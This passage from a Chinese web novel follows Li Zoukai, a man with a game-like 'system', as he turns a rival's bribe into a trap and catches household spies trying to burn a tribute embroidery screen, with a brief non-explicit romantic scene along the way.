肖管事这才回过神,连忙点头哈腰:“谢二爷!谢凯哥!小的这就去办!” 他给李奏凯偷偷竖了个大拇指,转身乐颠颠地跑了。 楚明诚看着空空如也的袖口,气得牙痒痒,这混蛋竟当着肖管事的面,把他准备的一千两银子全“笑纳”了! 分明是活吞自己一个“車”啊! 岂有此理!! 可事已至此,他若发作,反倒显得自己心虚,而且现在撕破脸很不是时候! 所以他只能强压下怒火,皮笑肉不笑地说:“李先生倒是会办事。那我就等着你的好消息了。” “二爷放心。” 李奏凯笑得一脸无害,故意大声道。“我一定会好好替楚家和二爷办事的!” 楚明诚微微一颤,深深看了他一眼,转身离去,背影透着一股压抑的怒气。 李奏凯望着他的背影,脸上的笑容也渐渐敛去,冷哼一声。 这老狐狸想用银票栽赃他,反倒被他将了一军。 只是这梁子,算是彻底结下了! 他摩挲着怀里的银票,眼神沉了下来,得想个一劳永逸的法子,收拾了这颗毒瘤才行,否则迟早会被他干掉! 第二天清早,李奏凯就揣着那一千两银票回到墨香妆坊。 趁着还没开业,这货指尖刚触到桌面,就“啪”地一声将银票拍了下去。 银票在光线下泛着冷硬的光泽,苏璃月和凌霜凑近一看,脸色齐齐一变。 “夫君!这……这是多少?” 苏璃月的声音发紧,指尖捏着银票的边缘,竟有些发颤。 “嘿嘿,不多,也就区区一千两而已!” 李奏凯要的就是这效果。 “一千两?这……这够寻常人家活一辈子了!” 饶是两位娘子都是见过大场面的,这下子也被惊得不浅! 只是,凌霜的眉头瞬间拧成了疙瘩,眼神像淬了冰:“你从哪弄来的?” 苏璃月更是直接:“夫君,莫不是楚明诚那只老狐狸的?” 她太清楚那家伙的手段,之前故意请他们吃饭,如今又平白无故给这么多钱,无异于递来一把裹着蜜糖的刀。 李奏凯指尖敲了敲桌面,把楚明诚塞银票、想对即将完工的朝廷屏风动手脚的事简要说了。 话没说完,苏璃月的脸已经白了。 “你疯了?” 她猛地抓住李奏凯的手腕,声音压得极低,却带着止不住的颤抖,“楚明诚是什么人?那是吃人不吐骨头的主!你拿了他的钱,办不成事是死,办成了事更是死!那可是朝廷要的东西,出一点岔子怕就是掉脑袋的罪!你这是在与虎谋皮!” 凌霜也沉声道:“他既然敢把银票塞给你,就没打算让你全身而退,还故意让肖管事看见,不管你做没做,都成了他手里的刀,也是楚夫人眼里的刺。” 她顿了顿,语气更冷,“一步踏错,就是万劫不复!” 李奏凯看着两人眼底的惊惶,心里反倒定了些,反手拍了拍两位娘子的手背,嘿嘿一笑:“我可没打算替他办事。这钱,不过是他送上门的证据!” 第115章 他们有高手! 第一百一十五章 他们有高手! “证据?” 苏璃月仍是不安,“楚明诚在楚家经营多年,在金陵更是爪牙遍地,你想凭这两张银票扳倒他?稍有不慎,就会被他反咬一口,说你私吞银两、意图不轨!” “所以才要将计就计。” 李奏凯的声音沉了下来,“他想借这钱栽赃我,我就借这钱揪出他安插在楚家的内奸,好让楚夫人亲眼看到是谁在背后搞鬼,总该信我几分!” 苏璃月沉默片刻,点了点头:“这是险招,但也是唯一的办法!只是……” 她看向李奏凯,“楚夫人疑心重,就怕——” “怕什么?” 李奏凯攥紧了拳,“总好过被那老狐狸一口咬死。只要我做的事对楚家有利,她就算再疑心重,也得掂量掂量,没了我,以后谁帮她抗事?” 苏璃月看着他眼底的笃定,心里的慌乱稍稍平复,却仍忍不住叮嘱:“万事小心!那老狐狸的手段,比聚力堂的地痞阴狠百倍。” 正提起聚力堂,门外就传来宁文轩急促的声音: “李大哥!在吗?” 李奏凯赶紧结束交谈,两位娘子也准备新一天的开业。 李奏凯这才迎出去,见这小子脸色有些凝重,便打趣道:“怎么,又瞒着你姐跑出来了?别谈一半又被抓回去!” 宁文轩拍着胸脯,一脸豪迈:“男人办事,哪能总被女人管着?” 话说得倒是响亮,可说完后还是赶紧左右看了看,然后拉着李奏凯往妆坊后面的小巷走,“这说话方便,免得我姐真找过来……” 你妹! 李奏凯忍不住笑了笑,不过见他这神神秘秘的样子,便知有要事相告,只等站定,当即挑眉道:“说吧,什么事?” 宁文轩压低声音,凑近了些:“李大哥,上次咱们端了聚力堂,张爷那边果然吃了个闷亏,愣是没敢报官。” 他得意地扬了扬下巴,“我估摸着,他们八成是猜到了我的身份,知道闹到官府那里讨不了好!毕竟他们那些见不得人的勾当,真要翻出来,够他们掉好几回脑袋了。” 李奏凯咧嘴一笑,心里暗道侥幸,多亏了宁文轩这巡抚公子的背景,不然上次那场混战,伤了那么多人,就算不砍头,他少说也得蹲几年大牢。 现在倒好,竟真能毫发无损,全身而退! “所以你跑来,就是为了告诉我这个好消息?” “不止!” 宁文轩挺了挺胸脯,神气活现得像只斗胜了的公鸡,“自打聚力堂那事之后,咱们‘凯轩团’在金陵可是出名了!不光是之前跟着咱们的那些人,好多穷苦人家的汉子都托关系想加入呢!大哥你说,接下来该怎么办?” 李奏凯托着下巴,在巷子里踱了两步,才眉头微蹙说:“先别急着扩编。” 他停下脚步,看着宁文轩,“咱们要走精英路线,老弱妇孺暂时别收了,可不是嫌弃他们,是真没必要!这些人来了,不光帮不上忙,说不定还得分心照顾,反倒成了累赘。” 瞧宁文轩微微皱眉,他赶紧拍了拍对方的肩膀,语气郑重:“俗话说得好,兵不在多,在精!” “你想想,一百个乌合之众,顶得上十个能打的壮汉吗?咱们要挑,就挑那些身强力壮、手脚麻利的,再好好练练,将来真遇上事了,才能派上用场。” “毕竟我们搞这些团队,可是要花银子维持的,不是小孩子过家家!” 宁文轩渐渐听得眼睛发亮,连连点头。 搁在以前,他或许还会觉得李奏凯这话太功利,不近人情,可经过聚力堂那一战,他算是明白了! 光有热血没用,真要干实事,还得听李大哥的。 这男人看似吊儿郎当,可说出的话、做的决定,总能戳在点子上。 他心里以前那点对李奏凯的反感,早已被实打实的被佩服所取代! “大哥,我懂了!” 宁文轩用力点头,“就按你说的来,我回去就跟弟兄们说,好好筛筛人!等把大事办好了,看我爹怎么夸我!” 李奏凯嘿嘿笑了两声,以为这事就完了,刚要转身回妆坊,宁文轩却又拉住了他,脸色正经了些: “对了,大哥,张爷那边你还是得提防着点!” “哦?” 李奏凯也正色起来,看样子这小子不是随口关心而已。 “我听人说,张爷是个武林高手,手下还有好几个硬茬子。” 宁文轩压低声音,“他们明着斗不过咱们,保不齐会来阴的!这年头,‘擒贼先擒王’的道理谁都懂,我怕他们会盯着你下手!” 李奏凯心里咯噔一下,后背莫名窜起一股寒意。 但他脸上依旧挂着笑,拍了拍胸脯:“放心,你凯哥我也不是吃素的。真要有人敢来,我让他们知道什么叫偷鸡不成蚀把米。” 话虽这么说,他心里却清楚,自己那点武力值,对付几个地痞还行,遇上真正的高手,怕是还远不够看。 就不知道,对方到底有多高? 宁文轩却被他这副自信满满的样子感染,也笑了:“我就知道大哥你有办法!反正我听你吩咐,等着吧,过两天再给你带好消息!” 送走宁文轩,李奏凯脸上的笑容瞬间敛去,只觉得后颈发凉。 一边是楚明诚这只老狐狸在暗处算计,一边又可能被张爷那群亡命之徒盯上,他这日子过得,简直是走钢丝。 “看来武力值,还得再提提啊。” 他喃喃自语,真想转头就回去,和两位娘子来一场说干就干的修炼! 只是两位娘子现在也忙上忙下的,尤其是凌霜,怕是很难得手! “不管,总得试试,嘿嘿……” 李奏凯回了墨香妆坊,帮着苏璃月和凌霜招呼了半天客人,日头刚偏西就把最后一波客人送出门,“哐当”一声就把妆坊的门板给关了。 苏璃月正收拾着柜台,见他这急乎乎的样子,嗔怪道:“夫君这是做什么?不用回楚家了?这么早关门做什么?” 凌霜在一旁擦拭着妆奁,瞥了他一眼,直接撇嘴:“还能做什么?瞧他那眼神,莫不是又憋着什么坏心思。” 第116章 我爹的忌日 第一百一十六章 我爹的忌日 听了凌霜的话,苏璃月也瞪了李奏凯一眼。 这家伙,都想白日宣‘银’了不成? 李奏凯嘿嘿一笑,凑到两人跟前,也不藏着掖着:“还是二娘子懂我。你看我身上的伤还没好利索呢,要是能跟娘子们双修一下,用咱们那功法调理调理,保准好得快!” “哼,尽是些歪理!就是想占我和姐姐的便宜!” 凌霜依旧在忙,背身吐槽他。 “哈哈,丈夫想占娘子便宜,这不是符合人伦吗?我又不是太监!” 这货嘴巴能说会道,“再说了,楚明诚和张爷那帮人虎视眈眈的,我这行动不便,万一半路上被劫了,多危险?养好了身子才能更好地护着你们嘛。” 这番话说得冠冕堂皇,苏璃月被他逗得白了一眼,脸颊微红,却没直接拒绝,毕竟也确实心疼他身上的伤。 李奏凯的目光却“嗖”地转到了凌霜身上,眼里带着点期待。 他跟大娘子已经双修过两次,要是能跟武力值高的凌霜再来一次,说不定武力值还能往上窜窜,对付楚明诚和张爷也更有底气。 凌霜被他这眼神看得心里一突,当即蹙眉:“哼,看我做什么?休要打我的主意。” “哈哈,瞧二娘子这话说的!” 李奏凯赶紧凑过去,拉着她的袖子晃了晃,像只讨食的小狗,“咱们这不是为了养伤嘛,也是为了应付外面的凶险!你想啊,我武力值高了,以后才能更护着你和大娘子不是?” “少来这套。”凌霜抽回袖子,别过脸,“要去你跟大娘子去。” 李奏凯讨了个没趣,转头就冲苏璃月挤眼睛,双手合十求帮忙。 苏璃月被他逗笑了,柔声道:“凌霜妹妹,夫君说的也是实情。他身上的伤确实得好好调理,如今我们要办事,外面又不太平……” 凌霜被她说得一顿,沉默了片刻才开口,语气却依旧硬邦邦的:“周淑依还在后面院子呢,我们休息的两个小房间挨着,这要是被她撞见了,像什么样子?小姑娘家的,哪能教坏她?” 李奏凯一听有门,赶紧接话:“这还不简单?小周早就想娘子们带她晚上去对面街逛下,大娘子和她出去对付一晚,她肯定很高兴!” 凌霜更是斜他一眼:“哼,你倒会安排。” “嘿嘿,那可不,为了能跟二娘子‘共修’疗伤,这点小事算什么。”李奏凯嬉皮笑脸地凑得更近,“二娘子就答应了吧?你看我这胳膊还酸着呢,后背也疼……” 说着还故意龇牙咧嘴地揉了揉肩膀。 苏璃月也在一旁帮腔:“是啊妹妹,就当帮夫君一次,夫君为了这个家付出也多!” 凌霜被两人一劝,耳根悄悄泛红,最终还是没再硬顶,只从牙缝里挤出一个字:“哼!” 然后就放下东西回后院房间去了。 李奏凯一瞧,顿时眉开眼笑,赶紧保证:“没错,一次!就一次!而且我保证很温柔!” 心里却乐开了花,有了一次,还怕没下一次? 俗话说,一次一次又一次嘛! 李奏凯轻手轻脚溜进房间时,心里头那点雀跃劲,竟跟偷东西似的! 古人诚不我欺也:妻不如妾,妾不如偷! 嘿嘿,明明是自己的娘子,偏每次要凑到一块儿,都带着点“能不能成”的悬心,这股子刺激感,倒比寻常情事更让他心头发烫! 他挨着凌霜坐下,刚想凑过去说两句软话,指尖刚碰到她的衣襟,就见凌霜睫毛颤了颤,眼眶竟红了。 李奏凯手一僵,赶紧收回来,声音都放柔了:“怎么了?是不是……是不是真不情愿?要是真不乐意,咱今儿就不……” 他虽惦记着双修的事,可看着凌霜这模样,那点心思早散了大半! 他再贪这风月事,也做不出逼人的事来。 凌霜摇摇头,声音闷得很:“不是不喜欢你。” 她抬手抹了把眼角,“就是……今儿是我爹的忌日。” 李奏凯一愣! “我爹生前总说,要护着大胤的江山,盼着皇朝能千秋万载。” 凌霜垂着眼,指尖攥得发白,“可如今……江山早易主,我们这些遗臣之后,连安稳活着都得藏着掖着,更别说……” 话没说完,喉间却哽了哽,眼圈更红了。 李奏凯心里一软,伸手把她揽进怀里,轻轻拍着她的背:“别哭。” 他顿了顿,声音沉得很认真,“你爹的遗志,我记着!你们想复国的事,我一定会帮你们想办法。” 这是他头回明明白白说要帮她们复国。 凌霜猛地抬头看他,眼里又惊又怔,跟着就漫上了热意。 她没说话,只定定看了他半晌,然后轻轻点了点头,“嗯”了一声,抬手,竟自己解开了衣襟的扣子。 烛火在帐外摇摇晃晃,映得帐内影影绰绰。 李奏凯低头吻去她眼角的泪,指尖拂过她紧绷的肩,动作放得极轻,倒不像是急着双修,更像在哄着个受了委屈的孩子。 凌霜起初还绷着身子,后来渐渐松了,抬手环住他的腰,把脸埋在他颈窝,呼吸慢慢匀了。 李奏凯就像一头辛勤的老汉,今晚工作得很顺心,也很卖力,竟是让两人都得到了满足。 第二天一早,李奏凯是带着满足的微笑被系统提示音吵醒的。 【叮!检测到宿主与凌霜完成双修,身体损伤已完全修复。】 【叮!恭喜宿主获得特殊技能——“辨伪”:可识破非自然伪装(如易容、伪造文书印章等),技能等级随使用次数提升。】 握草? 李奏凯一愣,赶紧摸了摸后背,之前被打的疼处果然半点不酸了,可……武力值呢? 他赶紧调出面板一看,武力值那栏还是5,纹丝没动。 “不是吧?” 他挠了挠头,赶紧看向还在睡在旁边的凌霜。 凌霜正好侧身,睫毛颤了颤,大概是劳累了整完的酸软让她不自禁动了动,肩头的薄被滑下去大半,露出细腻的肌肤,上面还留着昨夜暧昧的浅痕。 她似乎还没完全醒透,发丝有些凌乱地贴在颈侧,嘴角带着点未散的倦意,平日里冷冽的眉眼柔和下来,竟添了几分说不出的慵懒。 李奏凯正盯着系统面板发愣,余光瞥见这画面,顿时倒吸一口凉气! 平日里瞧着像带刺的玫瑰,这会儿刚醒的样子,倒像沾了晨露的芍药,软乎乎的勾人。 他喉咙发紧,手都差点没忍住往她腰上探,赶紧咬了咬舌尖才压下那股子邪火,心里直嘀咕:这二娘子,醒着时够劲儿,睡着时……更要命。 只是话说回来,二娘子明明也是练家子,武力值不低,怎么跟她双修两次了,都是给技能不给武力值? 第117章 迟早有你死的时候 第一百一十七章 迟早有你死的时候 “喂,破系统,解释解释?” 李奏凯闭着眼,神识里质问。 【系统提示:凌霜体内能量属性特殊,偏向“秘”而非“力”,故双修时优先激活相关技能,而非提升宿主武力值。】 李奏凯这才恍然。合着是属性不对路? 他瞅着“辨伪”那技能,又摸了摸下巴——识破易容、伪造文书? 楚明诚那老狐狸指不定就憋着用假账、假印搞鬼,有这技能在,倒能防一手。 “不能说完全没用,就是……总觉得有点鸡肋,比上回那刺绣破技能强点有限吧。” 哪成想他念头刚落,系统提示音就炸了锅,还带着点气鼓鼓的调子: 【宿主你懂个屁!要不是有刺绣技能,你能拿下贡品屏风的活儿?能在楚家站稳脚?能让苏璃月对你刮目相看?没那活儿你哪来的机会接触楚家核心?没这些铺垫你能有今天左拥右抱的日子?我呸!】 李奏凯被怼得一愣,随即哭笑不得:“嘿!你这破系统,干活不咋地,斗嘴倒挺能耐!第一名给你颁个奖状得了!” 【那是!本系统可是集辅助与怼人于一身的多功能系统!不像某些宿主,得了便宜还卖乖!】 系统哼了一声,又补充道。 “行行行,你丑你有理!我吵不过你!” 李奏凯赶紧摆手认怂,和人吵架没输过,和这破系统吵架,还真没赢过啊! 他转头看了眼凌霜,她还睡着,眉头却舒展了些,不像昨晚那般沉郁了。 李奏凯还是忍不住捏了捏她的脸颊,心里暗道:就算没涨武力值,能和二娘子共度良宵,也忒值了! …… 李奏凯刚回楚家,还没等他去找楚夫人,肖管事就颠颠地跑来了:“凯哥,夫人在书房等您呢。” 他心里有数,嘿嘿笑着往书房去,刚推门进去,就见楚夫人端坐在桌后,一张脸阴沉得像要下雨。 李奏凯心里咯噔一下,面上却堆着笑,先凑上前捧了句:“夫人今儿瞧着气色真好,这红光满面的,比昨儿又添了三分娇俏。” 往日里听了这话,楚夫人顶多冷着脸斥他句“油嘴滑舌”,今儿却连眼皮都没抬,直接单刀直入: “李奏凯,你好大的胆子!你是不是想毁了我们楚家?” 李奏凯故作一惊,摊开手一脸无辜:“夫人这话从何说起?冤枉啊!我这几日守着屏风没敢懈怠,就算没功劳也有苦劳吧,怎么就扯到毁楚家上了?” “没功劳?” 楚夫人猛地一拍桌子站起身,声音带着怒气,“那你倒是说说,二叔给你塞银票,你拿着他的钱请楚家下人吃喝,是安的什么心?” 她眼神锐利地盯着他:“你到底谋划了些什么?是不是和楚明诚串通好了,要联手搞垮楚家?” 换作旁人被这么逼问,怕是早慌了神,李奏凯却稳得住! 他早料到楚明诚会搬弄是非。他收起嬉皮笑脸,沉声道:“夫人既然都知道了,那我也就不瞒了。楚二爷前几日还在聚仙楼请我吃过饭,席间就说了要拉着我和赵家联手,吞了楚家的产业。” 他把楚明诚如何许好处、如何说要在屏风出货前支开人手,趁机毁了的事一五一十抖了出来。 楚夫人听得眉头越皱越紧,眼神里的警惕更甚:“好啊,你果然和他有牵扯!” “夫人别急着定罪啊!” 李奏凯嘿嘿一笑,“我是不是真心向着楚家,您心里没数吗?您当我收了他的银子就定会帮他办事?” “钱都收了,还说这些!” 楚夫人冷笑,“你干了,就是楚家的叛徒;不干,你就是背了他的情分,怎么说你都落不着好。” “瞧夫人这话说的,”李奏凯脸皮够厚,丝毫不窘,“我确实不算什么好人,但好坏也得分立场不是?对夫人您来说,我就是天大的好人。” 他说着往前凑了凑,压低声音凑到楚夫人耳边:“夫人您听我说,我打算顺着楚明诚的计谋来,他不是想让我支开人吗?我就‘支开’,但暗地里留着心眼,等他安插在楚家的那些奸细动手时,咱们正好将计就计,把他们一个个都揪出来。” 楚夫人猛地瞪大眼睛看着他,眼里满是惊讶! 她倒没料到,这看似吊儿郎当的男人,竟早有了盘算,果然是个笑着笑着就能把人吃了的主! 李奏凯刚和楚夫人敲定了计划,转身走出前院,迎面就撞上了王虎。 那家伙不知刚从哪钻出来,身上还带着股若有若无的粪味,直往他跟前凑。 “做什么?滚远点!” 李奏凯皱着眉往后躲了躲,捏着鼻子嫌弃道,“刚掏完粪吧?一身味儿别往我这儿蹭,再凑过来小心我揍你。” 王虎被他怼得脸色一僵,却没退开,压低声音咬着牙说:“是二爷让我来叮嘱你,我们这边准备好了,今天约好的事务必办好,否则……后果自负!” 李奏凯眉峰微挑,没等他把话说完,抬手就给了他一巴掌,“啪”的一声脆响在院里传开。 “奶奶的!说了别靠那么近,听不懂人话是吧?” 这一巴掌打得突然,正好肖管事带着几个家丁路过,听见动静都停了脚。 见是李奏凯打了王虎,众人非但没觉得不妥,反倒对着王虎指指点点。 “王虎这小子也是,明知道李先生爱干净,还往跟前凑。” “就是,往日里仗着二爷那点关系就横,现在遇见能收拾他的了,该!” “李先生教训得对,省得他总没大没小的,看不清自己身份!” 议论声虽低,却句句都偏在李奏凯这边。 王虎被打得脸颊火辣辣地疼,又听着这些话,气得拳头攥得咯吱响,却不敢发作,只能恶狠狠地瞪了李奏凯一眼。 小声嘀咕了句“李奏凯,迟早有你死的时候”,悻悻地转身往茅房那边去了! 李奏凯没理会他的狠话,转身往绣房走,心里却盘算开了: 王虎刚说“他们早就准备好”,看来楚明诚安插的人不止这一个,楚家到底还有多少他的细作? 他勾了勾嘴角,眼里闪过一丝兴味:“哼哼,今儿这游戏,倒是越来越有意思了。” 等揪出这些藏着的老鼠,看楚明诚还怎么在楚家蹦跶! 第118章 老细作了 第一百一十八章 老细作了 李奏凯来到绣房转了两圈,就突然冲外面喊: “梁三!” 梁三现在也是跟着李奏凯两边跑,反正拿两份月薪,这老实人也忙得不亦乐乎,听见喊声,赶紧放下手中的重活跑过来,粗声粗气道: “凯……凯哥,啥事?” “你去茅房那边一趟!” 李奏凯从食盒里拎出两个白面馒头、一碟酱菜,还特意加了块酱肘子,“把这给王虎送去,就说……凯哥记着他方才的话呢,让他放宽心!” 梁三挠着后脑勺,一脸憨实:“凯哥,这话听着怪得很,到底啥意思?” “别管啥意思,让你送你就送。” 李奏凯轻轻拍了拍他的后脑,“快去快回,路上别多嘴!” “哦,好!” 梁三虽纳闷,却还是老实应着,拎着食盒往茅房去了。 茅房后墙根下,王虎正蹲在那儿抽旱烟,看到梁三带东西传话来,心里头顿时美得直冒泡泡! 嘿嘿,李奏凯那小子果然还是怂了! 方才还敢打老子巴掌,转头就派人送吃喝来,定是怕了二爷的手段! 他吧嗒着烟嘴,眯着眼,直接当着梁三的面得意:“姓李的,你在楚家再威风又咋样?还不是得看老子脸色办事?等二爷吞了楚家,你小子想飞黄腾达?做梦!到时候老子非得把你踩在脚底下搓搓,看你还敢不敢横!” 梁三这老实人,也不知道他说这话啥意思,反正听到了,回来就如实给李奏凯传递。 “那王八,想得还真美!” 绣房这边,李奏凯听了梁三的回报,抬眼瞅了瞅日头,见时辰差不多了,突然走出来,用力拍了拍手: “大伙儿,都停一停!” 绣娘们手里的针都顿住,齐刷刷看他。 李奏凯笑得一脸亲和:“方才肖管事在前院喊,说买了些刚摘的鲜果子,还炖了锅肉,让咱们都过去尝尝鲜,松快松快。这几日赶工熬得辛苦,也该歇歇脚不是?” 众人一听有肉吃,脸上都露出笑意,纷纷站起来就走。 唯有婉儿蹙着眉摇头:“凯哥,不行啊。夫人特意叮嘱过,还有两天就出货了,这刺绣屏风金贵得很,得有人寸步不离盯着,万万不能出岔子的。” “嗨,就去半个时辰,能出啥岔子?” 李奏凯凑到她跟前,声音放软了哄,“再说了,我让梁三在门口守着,除了咱们自己人,谁也别想靠近。你们去吃点东西垫垫肚子,回来才有劲绣完最后几针嘛。” 他又瞄了眼婉儿眼下的青黑,“你看你这几日熬的,眼圈都黑了,去歇会儿,真要是出了事,我一力担着,绝不连累你们。” 婉儿被他说得犹豫了片刻,终究还是点了头:“那……我们快去快回,绝不多耽搁。” 等绣娘们都跟着肖管事往前院去了,李奏凯冲廊下阴影里招了招手! 肖管事早按照他吩咐,提前挑了几个手脚麻利、信得过的家丁猫在那儿,手里都攥着棍子。 他做了个“噤声待命”的手势,几人立刻会意,悄无声息地退到了院外的拐角处,只留着耳朵听动静。 没过两刻钟,绣房后墙的阴影里果然探出好几个脑袋,打头的正是王虎和郭强! 早被楚家解雇的郭强,此刻手里居然拎着个油布包,沉甸甸的,隔着布都能看出里面是柴草,腰间还别着个火折子,火星子在布兜里隐隐发亮。 更让李奏凯心头一沉的是,跟在他们身后的,竟还有两个熟面孔! 一个是平日里负责给各院送炭火的老刘头,另一个是管着库房钥匙的老陈! 这俩都是在楚家待了十来年的老人,谁能想到竟是楚明诚的人? “没人吧?” 郭强扒着墙缝往里瞅,声音压得跟蚊子哼似的,眼睛里却闪着兴奋的光。 “放心!都被李奏凯那傻子支去前院喝香吃肉了!” 王虎得意地啐了口唾沫,压低声音却难掩狠劲,“二爷说了,今儿这把火一烧,把这屏风烧得连灰都不剩,到时候就说是绣房走水,谁能查出来?等贡品交不上,楚家被朝廷问罪,咱们的好日子就来了!” 老刘头和老陈在一旁点头附和,手里还攥着石块,看样子是准备等火一烧起来,就砸破水缸旁边的水管,断了救火的路子。 几人猫着腰溜进绣房,脚踩在地上的碎线头都没发出半点声响。 郭强先把油布包往屏风架子底下一塞,柴草堆得正好挨着屏风的绸缎边角。 王虎则摸出火折子,吹了吹,火星子“噌”地亮起来,映得他脸上一片狂热! 只要火一点,楚家就完了,二爷许诺的好处就能到手了! 可就在他拿着火折子要往柴草上凑,离那干燥的柴草只剩半寸距离,眼看着就要点燃的瞬间,院外突然传来一声炸雷似的大喝: “动手!” “谁?!” 王虎和郭强吓得魂飞魄散,手里的火折子“啪嗒”掉在地上。 郭强刚想去捡,就见肖管事带着家丁从拐角处猛地冲进来,手里的棍子“砰砰”两下,又快又狠地把两人手里的东西打飞,柴草散了一地,火折子也被一脚踩灭。 梁三更是像头猛虎似的扑上来,一把揪住王虎的后领,胳膊肘往他背上一压,“咚”一声就把他按在了地上,脸直接磕在冰凉的青砖上,疼得他“嗷”一声叫。 老刘头和老陈想往墙角躲,也被早有准备的家丁逮了个正着,反剪着胳膊摁在地上。 “怎么回事?!” 王虎挣扎着抬头,脖子被梁三死死按着,脸都憋红了,等看清站在门口的人是李奏凯! 那本该在前院陪绣娘们吃肉的人,正抱着胳膊似笑非笑地看着他们! 王虎眼睛瞬间瞪得跟铜铃似的,满是难以置信,“李奏凯?你……你咋在这儿?你……你算计我们?!” 郭强也被两个家丁摁住了胳膊,膝盖顶着后背跪在地上,他还不死心,嘶吼着喊:“你不是把人都支走了吗?!你不是怕了二爷吗?!你咋会在这儿?!” 肖管事跑进来一看被摁住的老刘头和老陈,惊得眼珠子都快掉出来了,指着他俩直哆嗦: “老刘头?老陈?你们……你们咋也在这儿?在楚家待了这么多年,居然也是二爷的奸细?!” 老刘头和老陈一时耷拉着脑袋,不敢看他。 第119章 我要死,必找你垫背 第一百一十九章 我要死,必找你垫背 李奏凯慢悠悠地走进来,踢了踢地上散着的柴草,笑得一脸嘲弄:“不把人都支走,你们能这么轻易上钩?真当我傻啊?” 他蹲下身,拍了拍王虎被磕红的脸,“方才在茅房啃肘子的时候,不是挺得意吗?还说要把我死死踩在脚底下?现在还得意不?” 王虎被他拍得脸颊火辣辣地疼,挣扎着还想嘴硬:“你敢动我们?我们是二爷的人!二爷不会放过你的!” “二爷的人又咋样?” 肖管事在一旁啐了一口,手里的棍子往地上一顿,“在楚家的地盘上想烧贡品屏风,就算是天王老子来了,也得先挨顿揍!” 李奏凯站起身,冲肖管事挥挥手:“捆结实了,连老刘头和老陈一起,都关到柴房去!等我禀明夫人,再好好算这笔账!” 看着王虎、郭强他们被家丁反剪着胳膊往外拖,几人还在嘶吼着骂骂咧咧,却半点挣扎的力气都没有! 肖管事凑到李奏凯身边,一脸后怕又解气:“凯哥,还是你厉害!没想到啊……老刘头和老陈居然也是内鬼!这要是真让他们把屏风烧了,楚家可就彻底完了!夫人知道了,不定得多惊讶呢!” 李奏凯哼了一声,眼里闪着爽利的光: “嘿嘿,这就惊讶了?才刚开始呢!楚明诚藏的细作,总得一个个揪出来,楚家才算安全!” 李奏凯当即让肖管事把捆结实的王虎、郭强、老刘头和老陈一并押到了楚夫人的书房外,自己则先掀帘进去禀报: “嘿嘿,夫人,人抓到了!” 楚夫人正坐在桌后理事,闻言抬眼:“带进来。” 等四个五花大绑的人被推进来,楚夫人看清脸时,端着茶盏的手猛地一顿! 尤其是看到老刘头和老陈,她脸色瞬间沉了下去,直接站了起来,眼底满是难以置信的痛心。 “老刘?老陈?你们……你们为什么要这么做?楚家难道对你们还不够好吗?” 老刘头垂着头,被押着跪下时,倒还有些理直气壮,梗着脖子道: “夫人,别怪我们!楚家本就是楚爷打下的家业,如今楚爷不在了,理当由二爷继承才对!您一个妇道人家,带着两个半大的丫头,守着这么大家业算怎么回事?二爷说了,等他掌了权,也绝不会亏待我们这些老伙计!” 这话里的重男轻女和对楚家的背叛,像针似地扎在楚夫人心口。 她捏着茶盏的指节泛白,胸口起伏着,却没立刻发作,只冷冷地盯着老刘头: “楚爷在世时待你不薄吧?当年你儿子生病,是楚爷亲自请的大夫;你女儿出嫁,是楚爷给的嫁妆!你就是这么报答楚家的?” 老刘头被问得噎了一下,却依旧嘴硬:“那是楚爷仁义!可楚家终究得姓楚的男人扛着!二爷是楚家的根,我们跟着他,没错!” 楚夫人猛地将茶盏往桌上一磕,茶水溅出大半,声音里带着压抑的怒火: “没错?为了你们所谓的‘根’,就要放火烧了贡品屏风,让楚家被朝廷问罪,让我们母女三人无家可归?!” 两个老头就是咬牙不认错。 楚夫人深吸一口气,压下翻涌的情绪,对门外的家丁厉声道:“把他们都扭送官府!就说他们意图烧毁朝廷贡品,按律处置!” 家丁们齐声应是,拖着还在挣扎咒骂的王虎、郭强往外走。 老刘头被家丁架着往外拖,脖子还梗得笔直,嘴里兀自嚷嚷: “凭啥押我?楚家的产业本就该楚家男人继承!二爷是楚家的种,守着家业天经地义!你们这些外姓人掺和啥?一个妇道人家撑着门面,早晚得败光!” 这话戳得楚夫人脸色发白,指尖攥得发紧! 这些日子她撑着楚家,听了多少类似的闲言碎语,此刻被老刘头当众喊出来,胸口闷得发疼,竟一时语塞。 “呵。” 李奏凯突然冷笑一声,往前站了半步,挡在楚夫人身前,眼神扫向老刘头,声音不高却字字清楚: “楚家男人继承?楚爷在世时,你咋不说让二爷多学些经营的本事?楚爷走了,夫人撑着这摊子,没让楚家偌大产业倒了,没让底下人饿着,你倒跳出来说‘该男人继承’?” 他顿了顿,语气更冷:“继承家业凭的是良心,是本事,不是裤裆里那点东西!楚爷要是瞧见你为了攀附二爷,就想烧了贡品毁了楚家,怕是得从坟里爬出来抽你嘴巴!” 这话又狠又直,怼得老刘头张着嘴半天说不出话,终究被家丁拽着踉跄往外走,只剩含糊的咒骂声渐渐远去。 书房里终于安静下来,楚夫人揉了揉眉心,脸色依旧难看。 她抬眼看向李奏凯,目光里带着几分说不清道不明的审视,这男人能不动声色揪出内鬼,还能随口捻来各种道理,手段和口才确实利落! 可越是这样,她心里那点猜疑就越难放下,他收了二叔银票的事,终究是根刺! 可眼下楚家正是用人的时候,除了李奏凯,她实在找不出更能抗衡楚明诚的人。 一念及此,她语气缓和了些,却没直接道谢,只淡淡道:“这次……多亏你留心了。” 李奏凯哪能看不出她眼底的防备? 他心里门儿清,却不戳破,依旧嘿嘿笑着上前:“夫人说的哪里话,我在楚家做事,自然得护着楚家的周全。” 他话锋一转,主动提了正事,“不过夫人,这几个只是小喽啰,楚明诚既然能安插这么多人,手里肯定还有别的棋子,咱们这次抓了他的人,他定不会善罢甘休,说不定还会有后招。” 楚夫人指尖在桌案上轻轻点着,沉默片刻,终究还是问道:“你打算怎么办?” 她语气里带着一丝不易察觉的试探,既想知道他的盘算,也想看看他是否真的对楚家上心。 李奏凯嘿嘿一笑:“楚明诚这次没成,哪会善罢甘休?他早盘算着等屏风出货的时候动手脚,咱们可不能掉以轻心,出货时得做两手准备才行啊。” 说着,他往前凑了凑,压低声音凑到楚夫人耳边,细细说了自己的计划。 楚夫人起初还绷着心绪,听着听着,竟一时忘了两人这姿势有些暧昧,只安静地听着。 等李奏凯说完,她抬眼看向他,眼底是掩不住的惊叹! 这男人的心思,竟缜密到了这份上。 她定了定神,才开口:“好,就按你的想法行事。需要多少银两、什么人手,你尽管安排。” 话锋一转,又添了句硬话,“总之,朝廷要的屏风不能有失。若是失了,我楚家要亡,也得找你垫背!” 